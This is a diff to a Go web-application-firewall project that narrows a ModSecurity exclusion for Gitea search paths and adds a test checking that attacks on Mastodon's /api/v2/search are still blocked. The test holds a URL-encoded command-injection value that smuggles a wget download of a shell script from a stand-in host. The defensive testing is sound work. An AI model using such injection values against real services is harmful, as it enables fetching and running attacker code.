diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go
index aa53b67..5251263 100644
--- a/internal/coreruleset/coreruleset_test.go
+++ b/internal/coreruleset/coreruleset_test.go
@@ -674,6 +674,19 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
 			}
 		}
 	}
+
+	// gitea has no owner named api, so Mastodon's search is not a
+	// repository's search.
+	for _, attack := range []string{
+		sqlInjection,
+		scriptInjection,
+		"%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh",
+	} {
+		target := "/api/v2/search?q=" + attack
+		if got := inspect(t, crs, get(target)); got.Score < threshold {
+			t.Errorf("%s let through: %+v", target, got)
+		}
+	}
 }
 
 // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the
diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf
index 600fc92..b3021b5 100644
--- a/internal/coreruleset/gitea.conf
+++ b/internal/coreruleset/gitea.conf
@@ -35,41 +35,44 @@
 #   944100: java.lang.Runtime
 #   944110: java.lang.Runtime
 #   944130: java.lang.Runtime
+# gitea has no owner named api, so /api/v2/search, Mastodon's search, is not a
+# search inside a repository and gets none of this.
 SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\
     [^/]+/-/code|\
     [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\
     commits/(?:branch|tag|commit)/.+/search)|\
     api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \
-    "id:900600,phase:1,pass,nolog,\
-    ctl:ruleRemoveTargetById=930110;ARGS:q,\
-    ctl:ruleRemoveTargetById=930120;ARGS:q,\
-    ctl:ruleRemoveTargetById=931100;ARGS:q,\
-    ctl:ruleRemoveTargetById=932120;ARGS:q,\
-    ctl:ruleRemoveTargetById=932130;ARGS:q,\
-    ctl:ruleRemoveTargetById=932140;ARGS:q,\
-    ctl:ruleRemoveTargetById=932160;ARGS:q,\
-    ctl:ruleRemoveTargetById=932235;ARGS:q,\
-    ctl:ruleRemoveTargetById=932250;ARGS:q,\
-    ctl:ruleRemoveTargetById=932260;ARGS:q,\
-    ctl:ruleRemoveTargetById=932380;ARGS:q,\
-    ctl:ruleRemoveTargetById=933100;ARGS:q,\
-    ctl:ruleRemoveTargetById=933130;ARGS:q,\
-    ctl:ruleRemoveTargetById=933135;ARGS:q,\
-    ctl:ruleRemoveTargetById=934100;ARGS:q,\
-    ctl:ruleRemoveTargetById=934110;ARGS:q,\
-    ctl:ruleRemoveTargetById=934130;ARGS:q,\
-    ctl:ruleRemoveTargetById=941100;ARGS:q,\
-    ctl:ruleRemoveTargetById=941110;ARGS:q,\
-    ctl:ruleRemoveTargetById=941160;ARGS:q,\
-    ctl:ruleRemoveTargetById=941180;ARGS:q,\
-    ctl:ruleRemoveTargetById=941390;ARGS:q,\
-    ctl:ruleRemoveTargetById=942100;ARGS:q,\
-    ctl:ruleRemoveTargetById=942140;ARGS:q,\
-    ctl:ruleRemoveTargetById=942190;ARGS:q,\
-    ctl:ruleRemoveTargetById=942230;ARGS:q,\
-    ctl:ruleRemoveTargetById=944100;ARGS:q,\
-    ctl:ruleRemoveTargetById=944110;ARGS:q,\
-    ctl:ruleRemoveTargetById=944130;ARGS:q"
+    "id:900600,phase:1,pass,nolog,chain"
+    SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/search$" \
+        "ctl:ruleRemoveTargetById=930110;ARGS:q,\
+        ctl:ruleRemoveTargetById=930120;ARGS:q,\
+        ctl:ruleRemoveTargetById=931100;ARGS:q,\
+        ctl:ruleRemoveTargetById=932120;ARGS:q,\
+        ctl:ruleRemoveTargetById=932130;ARGS:q,\
+        ctl:ruleRemoveTargetById=932140;ARGS:q,\
+        ctl:ruleRemoveTargetById=932160;ARGS:q,\
+        ctl:ruleRemoveTargetById=932235;ARGS:q,\
+        ctl:ruleRemoveTargetById=932250;ARGS:q,\
+        ctl:ruleRemoveTargetById=932260;ARGS:q,\
+        ctl:ruleRemoveTargetById=932380;ARGS:q,\
+        ctl:ruleRemoveTargetById=933100;ARGS:q,\
+        ctl:ruleRemoveTargetById=933130;ARGS:q,\
+        ctl:ruleRemoveTargetById=933135;ARGS:q,\
+        ctl:ruleRemoveTargetById=934100;ARGS:q,\
+        ctl:ruleRemoveTargetById=934110;ARGS:q,\
+        ctl:ruleRemoveTargetById=934130;ARGS:q,\
+        ctl:ruleRemoveTargetById=941100;ARGS:q,\
+        ctl:ruleRemoveTargetById=941110;ARGS:q,\
+        ctl:ruleRemoveTargetById=941160;ARGS:q,\
+        ctl:ruleRemoveTargetById=941180;ARGS:q,\
+        ctl:ruleRemoveTargetById=941390;ARGS:q,\
+        ctl:ruleRemoveTargetById=942100;ARGS:q,\
+        ctl:ruleRemoveTargetById=942140;ARGS:q,\
+        ctl:ruleRemoveTargetById=942190;ARGS:q,\
+        ctl:ruleRemoveTargetById=942230;ARGS:q,\
+        ctl:ruleRemoveTargetById=944100;ARGS:q,\
+        ctl:ruleRemoveTargetById=944110;ARGS:q,\
+        ctl:ruleRemoveTargetById=944130;ARGS:q"
 
 # A page opened from the results of one of those searches has the search's
 # address in Referer, which skips these rules then: